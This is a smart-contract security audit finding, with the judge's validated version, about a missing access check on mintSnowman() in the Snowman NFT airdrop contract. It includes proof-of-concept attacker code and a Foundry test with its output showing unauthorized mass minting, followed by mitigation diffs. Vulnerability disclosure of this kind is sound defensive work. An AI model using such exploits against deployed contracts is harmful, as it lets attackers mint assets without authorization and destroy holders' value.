Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing Access Control on mintSnowman() Allows Unlimited NFT Minting

Root + Impact

The mintSnowman() function in the Snowman contract lacks any access control mechanism, allowing anyone to mint unlimited Snowman NFTs to any address. This completely bypasses the intended airdrop mechanism where users must burn Snow tokens and provide valid Merkle proofs to receive NFTs.

The function is marked as external with no modifiers restricting who can call it, making it publicly accessible to all addresses.

// src/Snowman.sol:36-44
function mintSnowman(address receiver, uint256 amount) external {
// @> No access control - anyone can call this!
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Function is publicly accessible with no restrictions

  • Attackers can immediately exploit this upon contract deployment

  • No prerequisites or conditions required to mint

Impact:

  • Unlimited NFT minting renders the airdrop mechanism meaningless

  • NFTs have no scarcity or value

  • Users who legitimately burn Snow tokens receive worthless NFTs

  • Merkle tree verification and signature checks are completely bypassed

  • Complete security breach of the airdrop system

Proof of Concept

// Attacker contract
contract Attacker {
Snowman snowman;
function exploit() external {
// Mint 1 million NFTs to myself without burning any Snow tokens
snowman.mintSnowman(msg.sender, 1_000_000);
// Or mint to multiple addresses to simulate legitimate distribution
for (uint i = 0; i < 100; i++) {
snowman.mintSnowman(address(uint160(i)), 10000);
}
// No Merkle proof required
// No signature required
// No Snow tokens burned
// Just free NFTs!
}
}

Recommended Mitigation

+ address private s_airdropContract;
+
+ error SM__NotAllowed();
+
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdropContract) {
+ revert SM__NotAllowed();
+ }
+ _;
+ }
+
+ constructor(string memory _SnowmanSvgUri, address _airdropContract)
+ ERC721("Snowman Airdrop", "SNOWMAN")
+ Ownable(msg.sender)
+ {
+ if (_airdropContract == address(0)) {
+ revert SM__NotAllowed();
+ }
+ s_TokenCounter = 0;
+ s_SnowmanSvgUri = _SnowmanSvgUri;
+ s_airdropContract = _airdropContract;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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